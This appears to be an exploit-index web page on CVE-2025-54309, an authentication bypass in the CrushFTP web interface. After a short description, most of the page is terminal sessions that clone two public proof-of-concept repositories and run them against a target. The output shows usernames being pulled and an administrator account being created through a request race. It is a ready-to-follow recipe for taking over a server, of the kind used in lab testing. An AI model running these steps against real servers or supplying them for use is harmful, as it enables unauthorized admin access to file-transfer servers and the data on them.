Skip to content
HackIndex logo

HackIndex

CVE-2025-54309:
CrushFTP

Published: Feb 21, 2026
Critical
Unprotected Alternate Channel

CVE-2025-54309 is a CrushFTP web-interface flaw disclosed in July 2025 that was actively exploited in the wild. It happens because CrushFTP mishandles AS2 validation (notably when the DMZ proxy feature isn’t used), letting an unauthenticated attacker hit the server over HTTPS and end up with administrator access. Once they have admin, they can effectively take over the file-transfer server (create/modify accounts, access data, change configuration, and potentially chain it into full compromise).

CrushFTP Create admin
watchTowr-vs-CrushFTP-Authentication-Bypass-CVE-2025-54309
Detection script for CVE
View repository (opens in new tab)
┌──(kali㉿kali)-[~]
└─$ git clone https://github.com/watchtowrlabs/watchTowr-vs-CrushFTP-Authentication-Bypass-CVE-2025-54309.git
┌──(kali㉿kali)-[~]
└─$ cd watchTowr-vs-CrushFTP-Authentication-Bypass-CVE-2025-54309
┌──(kali㉿kali)-[~]
└─$ python3 -m venv .venv
┌──(kali㉿kali)-[~]
└─$ source .venv/bin/activate
┌──(kali㉿kali)-[~]
└─$ pip3 install requests
 
┌──(kali㉿kali)-[~]
└─$ python3 watchTowr-vs-CrushFTP-CVE-2025-54309.py http://$TARGET_IP 
[*] Generated new c2f value: Z4N5
                         __         ___  ___________                   
         __  _  ______ _/  |__ ____ |  |_\__    ____\____  _  ________ 
         \ \/ \/ \__  \    ___/ ___\|  |  \|    | /  _ \ \/ \/ \_  __ \
          \     / / __ \|  | \  \___|   Y  |    |(  <_> \     / |  | \/
           \/\_/ (____  |__|  \___  |___|__|__  | \__  / \/\_/  |__|   
                                  \/          \/     \/                            
          
        watchTowr-vs-CrushFTP-CVE-2025-54309.py
        (*) CrushFTP Authentication Bypass Race Condition PoC
        
          - Sonny , watchTowr ([email protected])

        CVEs: [CVE-2025-54309]
        
[*] CRUSHFTP RACE CONDITION POC
[*] TARGET: http://$TARGET
[*] ENDPOINT: CrushFTP WebInterface getUserList
[*] ATTACK: 5000 requests with new c2f every 50 requests
============================================================
Starting race with 5000 request pairs...
============================================================
[*] Generated new c2f value: o56w
[*] NEW SESSION: c2f=o56w
[*] EXFILTRATED 4 USERS: test, crushadmin, default, TempAccount
[*] VULNERABLE! RACE CONDITION POSSIBLE!
whisperer1290/CVE-2025-54309__Enhanced_exploit
CrushFTP user creation exploit
View repository (opens in new tab)
┌──(kali㉿kali)-[~]
└─$ git clone https://github.com/whisperer1290/CVE-2025-54309__Enhanced_exploit.git
┌──(kali㉿kali)-[~]
└─$ cd CVE-2025-54309__Enhanced_exploit
┌──(kali㉿kali)-[~]
└─$ python3 -m venv .venv
┌──(kali㉿kali)-[~]
└─$ source .venv/bin/activate
┌──(kali㉿kali)-[~]
└─$ pip3 install requests
 
┌──(kali㉿kali)-[~]
└─$ python3 CVE-2025-54309-2.py http://$TARGET -u hackindex -p hackindex 
╔═══════════════════════════════════════════════════════════╗
║            CrushFTP CVE-2025-54309 Exploit               ║
║         Race Condition Authentication Bypass             ║
║               User Creation Version                       ║
║                                                           ║
║           FOR AUTHORIZED TESTING ONLY                     ║
║              HTB Labs & Pentesting Use                    ║
╚═══════════════════════════════════════════════════════════╝

[*] Target: http://$TARGET
[*] New admin user: hackindex:hackindex
[*] CRUSHFTP USER CREATION EXPLOIT
[*] TARGET: http://$TARGET
[*] CREATING USER: hackindex:hackindex
[*] ATTACK: 5000 requests with new c2f every 50 requests
============================================================
[*] Generated new c2f value: 4Prl
[*] Starting race with 5000 request pairs...
============================================================
[*] Generated new c2f value: 2JEx
[*] NEW SESSION: c2f=2JEx
[+] SUCCESS! User 'hackindex' created successfully!
[+] Response indicates user creation was successful
[+] USER CREATION SUCCESSFUL!

[+] EXPLOITATION COMPLETE!
[+] Admin user created: hackindex:hackindex
[+] Try logging in at: http://$TARGET/WebInterface/
[+] Or access the admin interface directly